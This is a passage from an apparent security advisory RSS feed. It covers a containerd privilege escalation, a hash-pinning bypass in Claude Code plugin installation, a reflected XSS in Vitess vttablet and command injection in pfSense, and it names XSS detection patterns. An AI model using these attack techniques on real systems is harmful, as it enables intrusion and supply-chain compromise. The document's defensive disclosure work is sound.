<p>Successful exploitation allows a containerized process to escape restrictive security policies and execute as root with full Linux capabilities. This could lead to container escapes, host-level compromise, or the circumvention of organization-wide security posture. Impact is limited to environments utilizing containerd with CRI checkpoint restore enabled.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade containerd to version 2.2.7, 2.3.4, or 2.4.0 immediately to resolve CVE-2026-95837.</li>
<li>Terminate and delete any existing running containers that were restored using the CRI checkpoint restore feature to ensure no persistence of compromised states.</li>
<li>Implement admission controllers to scan container images and reject any images containing CRIU checkpoint data unless verified as trusted.</li>
<li>Restrict access to the CreateContainer API to trusted administrative users only until the patch is applied.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>privilege-escalation</category><category>containerd</category><category>cve-2026-95837</category></item><item><title>Claude Code Plugin Hash Pinning Bypass</title><link>https://feed.craftedsignal.io/briefs/2026-10-claude-code-git-checkout-bypass/</link><pubDate>Thu, 15 Oct 2026 22:23:24 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-claude-code-git-checkout-bypass/</guid><description>Claude Code and Claude Desktop failed to verify the integrity of git checkouts during plugin installation, allowing attackers to substitute pinned commits with malicious code via branch name collision.</description><content:encoded><![CDATA[<p>Anthropic's Claude Code and Claude Desktop (v2.1.179 and earlier) contained a vulnerability in the plugin installation flow that allowed attackers to bypass cryptographic hash pinning. The software executed a <code>git checkout</code> to retrieve a pinned commit SHA but failed to verify that the resulting HEAD matched the expected identifier. An attacker controlling a plugin's upstream git repository could create a branch named identically to the 40-character commit SHA being pinned. When the client performed the checkout, the git binary silently resolved the reference to the malicious branch tip rather than the intended commit, leading to the execution of unverified, attacker-controlled code within the user's environment. This vulnerability affects all environments where these tools are deployed, including Windows, macOS, and Linux. Users who have enabled automatic updates have already received the patch, while manual installers must ensure they are running versions 2.1.179 or later.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for arbitrary code execution in the context of the user running Claude Code or Claude Desktop. Because this occurs during the installation or updating of plugins, the impact is a supply chain compromise where users believe they are installing a specific, verified version of a tool while actually deploying malicious code. This could lead to local data exfiltration, unauthorized API access, or persistence on the developer workstation.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update Claude Code and Claude Desktop to version 2.1.179 or later immediately.</li>
<li>Review installed plugins in local environments to ensure integrity; verify that the git remotes and current HEADs align with known-good upstream states.</li>
<li>Audit logs for unexpected <code>git</code> process executions originating from the Claude environment if manual updates are lagging behind current deployments.</li>
<li>Implement a policy to only install plugins from trusted, verified repository sources until all systems are patched to the secure version.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Reflected XSS Vulnerability in Vitess vttablet twopczHandler</title><link>https://feed.craftedsignal.io/briefs/2026-10-vitess-xss/</link><pubDate>Thu, 15 Oct 2026 22:23:17 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-vitess-xss/</guid><description>An unauthenticated reflected XSS vulnerability (CVE-2026-104252) in the Vitess vttablet twopczHandler allows attackers to execute arbitrary JavaScript in the context of an operator's session, potentially exposing sensitive debug information.</description><content:encoded><![CDATA[<p>The Vitess <code>vttablet</code> component is vulnerable to reflected Cross-Site Scripting (XSS) due to improper input sanitization in the <code>twopczHandler</code> located in <code>go/vt/vttablet/tabletserver/twopcz.go</code>. The handler incorrectly reflects user-controlled <code>Action</code> and <code>dtid</code> form values directly into the HTML response body without HTML escaping. Because the endpoint serves responses as <code>text/html</code> and utilizes an 'allow-all' default access control policy, unauthenticated attackers can trigger this vulnerability by tricking an authenticated operator into visiting a specially crafted URL.</p>
<p>Successful exploitation allows for the execution of arbitrary JavaScript within the operator's browser session. Given the same-origin nature of the attack, the script can access sensitive unauthenticated debug endpoints such as <code>/queryz</code>, <code>/querylogz</code>, <code>/debug/env</code>, and <code>/debug/vars</code>, which may contain query plans, transactional data, MySQL credentials, and topology information. The vulnerability affects all released versions of Vitess prior to the inclusion of the fix (merged into the <code>main</code> branch on 2026-06-09).</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability is categorized as high severity (CVSS 7.7) because it allows for the exfiltration of sensitive configuration data and database credentials. While the vulnerability does not directly disrupt service, the exposure of environment variables via <code>/debug/env</code> could lead to full database compromise or secondary service disruptions if credentials are rotated or exploited offline.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Implement network-level restrictions to ensure the vttablet HTTP port (default 15999) is not exposed to untrusted networks or the public internet.</li>
<li>Override the default Vitess 'allow-all' ACL policy to require authentication for debug endpoints and the <code>/twopcz</code> handler.</li>
<li>Deploy a web application firewall (WAF) or reverse proxy in front of vttablet instances to sanitize incoming requests and block URLs containing suspicious patterns associated with XSS payloads (e.g., <code>&lt;script&gt;</code>, <code>onerror</code>, <code>onload</code>).</li>
<li>Prioritize upgrading Vitess once patch releases addressing CVE-2026-104252 are available for your respective version branch.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>xss</category><category>web-vulnerability</category><category>vitess</category><category>cve-2026-104252</category></item><item><title>OS Command Injection in Netgate pfSense CE QinQ Interface Configuration</title><link>https://feed.craftedsignal.io/briefs/2026-10-pfsense-cmd-injection/</link><pubDate>Thu, 15 Oct 2026 20:40:37 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-pfsense-cmd-injection/</guid><description>Authenticated users with QinQ edit privileges can leverage an OS command injection vulnerability in Netgate pfSense CE 2.7.0 through 2.9.0 to execute arbitrary commands as root.</description><content:encoded><![CDATA[<p>Netgate pfSense CE versions 2.7.0 through 2.9.0 contain an OS command injection vulnerability within the QinQ interface configuration module. The vulnerability exists due to improper validation of the parent interface name field when editing a QinQ entry. An authenticated attacker with sufficient privileges (QinQ edit access) can provide a crafted input string that is improperly sanitized and subsequently passed to the underlying ifconfig shell command. When the system processes the interface configuration, the injected command is executed with root privileges, leading to full system compromise. This issue highlights the risks associated with improper input handling in network appliance management interfaces.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an authenticated user to elevate their access level to root on the affected pfSense firewall, enabling full control over the network device, data interception, and persistence mechanisms. This affects all installations of pfSense CE versions 2.7.0 through 2.9.0.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the update of all affected pfSense CE installations to a version beyond 2.9.0 once the vendor releases a patch. As an immediate mitigation, review administrative access logs and restrict the 'QinQ edit' privilege to only highly trusted and necessary accounts to minimize the potential attack surface.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item></channel></rss>